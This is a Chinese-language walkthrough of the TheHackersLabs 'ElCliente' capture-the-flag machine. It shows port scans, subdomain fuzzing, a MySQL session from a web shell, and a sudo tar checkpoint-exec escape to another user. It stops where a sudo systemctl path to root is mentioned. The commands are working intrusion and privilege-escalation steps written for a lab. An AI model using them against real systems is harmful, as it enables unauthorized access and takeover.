4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.974 seconds (129.69 hosts/sec). 4 responded ❯ export ip=192.168.60.157 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.157:22 Open 192.168.60.157:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-17 15:26 CST Initiating ARP Ping Scan at 15:26 Scanning 192.168.60.157 [1 port] Completed ARP Ping Scan at 15:26, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 15:26 Completed Parallel DNS resolution of 1 host. at 15:26, 0.03s elapsed DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 15:26 Scanning 192.168.60.157 [2 ports] Discovered open port 80/tcp on 192.168.60.157 Discovered open port 22/tcp on 192.168.60.157 Completed SYN Stealth Scan at 15:26, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.60.157 Host is up, received arp-response (0.00039s latency). Scanned at 2025-01-17 15:26:36 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:91:D5:1E (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
编辑一下hosts，添加一个域名
1 2
❯ sudo vim /etc/hosts 192.168.60.157 arka.thl
发现一个联系我们的页面，不过我尝试了一下，好像并没有什么软用
子域名模糊测试
尝试模糊测试，其他子域名
发现两个子域名，猜测是管理员登入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
❯ wfuzz -c -u "http://arka.thl" -H "Host: FUZZ.arka.thl" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 808 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://arka.thl/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000024: 302 0 L 0 W 0 Ch "admin" 000000290: 302 0 L 0 W 0 Ch "www.admin" 000009532: 400 10 L 35 W 300 Ch "#www" 000010581: 400 10 L 35 W 300 Ch "#mail" 000047706: 400 10 L 35 W 300 Ch "#smtp"
(remote) www-data@TheHackersLabs-ElCliente:/var/www/html/arka.thl$ mysql -uscott -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 496 Server version: 8.0.40-0ubuntu0.24.04.1 (Ubuntu)
Copyright (c) 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
mysql> show database; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'database' at line 1 mysql> show databases; +--------------------+ | Database | +--------------------+ | arka_db | | information_schema | | performance_schema | +--------------------+ 3 rows inset (0.06 sec)
mysql> use arka_db Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
(remote) www-data@TheHackersLabs-ElCliente:/var/www/html/arka.thl$ su scott Password: (remote) scott@TheHackersLabs-ElCliente:/var/www/html/arka.thl$ (remote) scott@TheHackersLabs-ElCliente:/home/scott$ sudo -l [sudo] password for scott: Matching Defaults entries for scott on TheHackersLabs-ElCliente: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User scott may run the following commands on TheHackersLabs-ElCliente: (kobe) PASSWD: /usr/bin/tar (remote) scott@TheHackersLabs-ElCliente:/home/scott$ sudo -u kobe /usr/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh/usr/bin/tar: Removing leading `/' from member names \[\](remote)\[\] \[\]kobe@TheHackersLabs-ElCliente\[\]:\[\]/home/scott\[\]$ bash (remote) kobe@TheHackersLabs-ElCliente:/home/scott$ id uid=1000(kobe) gid=1000(kobe) groups=1000(kobe) (remote) kobe@TheHackersLabs-ElCliente:/home/kobe$ cat user.txt 12595a7851c25233e157884a46331355
Root提权
sudo权限
正常利用systemctl，提权即可
1 2 3 4 5 6 7
(remote) kobe@TheHackersLabs-ElCliente:/home/kobe$ sudo -l Matching Defaults entries for kobe on TheHackersLabs-ElCliente: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User kobe may run the following commands on TheHackersLabs-ElCliente: (ALL) NOPASSWD: /bin/systemctl
